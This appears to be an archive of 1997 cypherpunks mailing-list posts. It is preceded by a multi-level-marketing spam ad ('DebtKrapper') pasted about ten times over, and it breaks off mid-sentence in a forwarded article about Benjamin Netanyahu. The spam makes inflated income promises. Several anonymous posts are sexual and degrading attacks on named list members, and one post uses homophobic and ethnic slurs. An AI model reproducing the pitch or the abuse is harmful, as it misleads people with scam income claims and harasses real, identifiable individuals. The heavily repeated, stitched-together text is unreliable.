If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer Anonymous Remailer <lucifer@dhp.com>
Date: Thu, 6 Feb 1997 19:40:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Secure checksums
Message-ID: <199702070340.TAA07843@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto 
heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with 
girdle underneath to keep in his flabby gut, a Fredericks of Hollywood 
padded bra also underneath the halter, a cheap Naomi Sims pink afro 
wig, waiting to yank his crank whenever a black man responds to one of 
his inane rants.

               __
           ___|[]| Timothy C[reep] May
       \__|______|
       /-(o_o_o_o)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: steve <steve@idoru.demon.co.uk>
Date: Thu, 6 Feb 1997 15:11:20 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199702062311.PAA02460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
Get me off this list now.!
I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

-----Original Message-----
From:	Majordomo@toad.com [SMTP:Majordomo@toad.com]
Sent:	06 February 1997 19:43
To:	steve
Subject:	Your Majordomo request results

--

Your request of Majordomo was:
>>>> ------ =_NextPart_000_01BC1463.B5C5FAE0
END OF COMMANDS









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Thu, 6 Feb 1997 23:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dr. Denning
Message-ID: <199702070710.XAA13617@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit Vermin is a pimply dweeb sitting at a computer chortling
at his own imagined cleverness.

   _<_
  (_|_(  Dimwit Vermin
\-._|_,-,
 `-----'







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 20:41:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702070441.UAA09107@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 20:40:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: True story, Fly the Obsfucted Skies (fwd)
Message-ID: <199702070440.UAA09075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <ray@earthweb.com> writes:
...
> I thought about it. I scratched my goatee. I said:
...
How can an Armenian eunich grow a bear? Even a faggy goatee?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 06:55:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PICS] forgery detection
Message-ID: <199702071455.GAA24388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


When Deadwood Vulgar K[arcass]OTM's mother gave birth to him
after fucking with a bunch of sailors, she didn't know who the
father was but decided to tell him that he was a Russian as the
Russian sailor was the one who satisfied her the most.

     /\ \  / /\
    //\\ .. //\\ Deadwood Vulgar K[arcass]OTM
    //\((  ))/\\
    /  < `' >  \







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 06:56:01 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: anonymous remailers
Message-ID: <199702071456.GAA24406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM -0800 2/6/97, Sandy Sandfort wrote:

>Currently, there are three lists.  It looks as though the message
>in question appeared on the Unedited list.  This is NOT the same
>as the Flames list.

Well, I only subscribe to the Flames list--there is no doubt about this.

In any case, what is the meaning of a message going only to the "Unedited"
list?  A message that goes to the Unedited list but _not_ to the Flames
list must surely go to the Main list, right?

That is,

MAIN list + FLAMES list = UNEDITED list

Isn't this the way it works, that the Unedited list is the union of the
MAIN and FLAMES lists, which are disjoint?

So, since the Vulis message on anonymous remailers did not appear on the
MAIN list, it must have appeared on the FLAMES list.


>I don't recall where I sorted that particular post to after I
>read it on the Unedited list.  If it went to the "wrong" list,
>my apologies to the author.  As I indicated before, I don't think
>a 100% solution is possible, but I think I'm running in the high
>90s under the criteria I enunciated.  Not perfection, but a
>definite improvement over the prior condition.

You keep saying this ("the list is better, the list is better, the list is
better"). Repeating it enough may make it true, for you.

In any case, my point is that there were no "flame" triggers in either of
the messages you sent to the Flames list. Unless you are rejecting based on
your opinion of the views expressed, these messages belong on the main list.

Sandy, you are a sloppy moderator. An incompetent, in fact. Get better fast
or knock off the pretense that you know better than we do what Cypherpunks
are ready to read.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 06:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
Message-ID: <199702071455.GAA24405@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Again, I am only on the Flames list. So why was this message sent to the
Flames list? Because someone responded to a Vulis post? Is a response to a
Banned Message now grounds for rejection?

Here's the message sent to the Flames pile. Although the anonymous author
did not add much, neither the original message nor his/her one line
response was a "flame" or "insult." Hence it should not have been rejected.


At 5:47 AM +0000 2/7/97, Secret Squirrel wrote:
>Dr.Dimitri Vulis KOTM wrote:
>> c.musselman@internetmci.com (Charley Musselman) writes:
>> > C'punks --
>> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
>> > and suggested that he use an anonymous remailer to post to the group,
>> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> > anyone know the answer?  Specifically, how can we choose a trusted
>> > remailer?
>>
>> Even if the feds are not directtly involved, the so-called "cypher punk"
>> remailers are run by people who should not be trusted.  Check out their
>> remailer-operators list: it's full of announcements that some specific
>> person posted something via the remailer that the operator didn't like.
>
>Examples, please?


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 7 Feb 1997 07:11:59 -0800 (PST)
To: Cypherpunks <tcmay@got.net
Subject: Re: anonymous remailers
Message-ID: <199702071511.HAA24873@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
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Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 6 Feb 1997 23:10:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: remailer-operators DEA agents?
Message-ID: <199702070710.XAA13629@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> c.musselman@internetmci.com (Charley Musselman) writes:
> > C'punks --
> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > and suggested that he use an anonymous remailer to post to the group,
> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > anyone know the answer?  Specifically, how can we choose a trusted
> > remailer?
>
> Even if the feds are not directtly involved, the so-called "cypher punk"
> remailers are run by people who should not be trusted.  Check out their
> remailer-operators list: it's full of announcements that some specific
> person posted something via the remailer that the operator didn't like.

Examples, please?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 7 Feb 1997 07:13:38 -0800 (PST)
Subject: The Konformist: The Chamish Files - Bibi Part One
Message-ID: <199702071513.HAA24905@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj: ARTICLE: Netanyahu-Part One

Date: 97-01-31 13:06:05 EST

From: chamish@netmedia.net.il (Chamish Barry)



>WHO IS BINYAMIN NETANYAHU? (Part One Of Two)

>

>By; Barry Chamish*

>

>Two Fridays after Israel's new Prime Minister was elected, the

>newspapers were filled with bios of the new leader. The most indepth

>research was undertaken by Orly Azula-Katz, Anat Meidan and Rami Tal of

>Yediot Ahronot who produced a balanced portrait and Biranit Goren of

>Kol Ha'ir whose story was a snow job.

>

>Nonetheless, both reports agreed in most details, if not

>interpretations. These two reports, combined with other public

>knowledge create a most disturbing and mysterious caricature of

>Israel's leader for students of secret diplomacy.

>

>The Conventional Story

>

>The prevailing myth about Prime Minister Binyamin Netanyahu is that he

>grew up in a highly politicized, right wing household. Responsibility

>for the presumption lies with his father Bar Tzion, a dedicated

>revisionist who was a pallbearer at the funeral of Zeev Jabotinsky.

>

>The facts are different. Netanyahu recalls," My father did not want me

>to enter politics. We were very non-political." The founding families

>of Zionism's revisionist wing which produced two generations of leaders

>like Menachem and Benny Begin and Yaacov and Dan Meridor, barely knew

>of the Netanyahus.

>

>What Binyamin inherited from his father was an obsession with learning.

>His grades in junior high were all above average but he excelled in

>only one subject: music.

>

>When Binyamin moved to America at age fourteen after his father

>accepted a teaching post in Philadelphia, his hero became JFK.

>Netanyahu felt very alienated being away from Israel and took waitering

>jobs to earn the money to spend his summers back home. There his

>greatest pleasure was working on left-wing kibbutzim with his pals from

>Jerusalem. They recall that he would always try to outwork them, even

>when he had an injured knee.

>

>Returning to high school in Philadelphia, Netanyahu shared close

>friendship with only those students as imbued with love for Israel as

>he was. He was a straight A student who graduated fourth in his class

>at Cheltenham High School, one of the most academically competitive

>schools in America. But he didn't attend his graduation ceremony. War

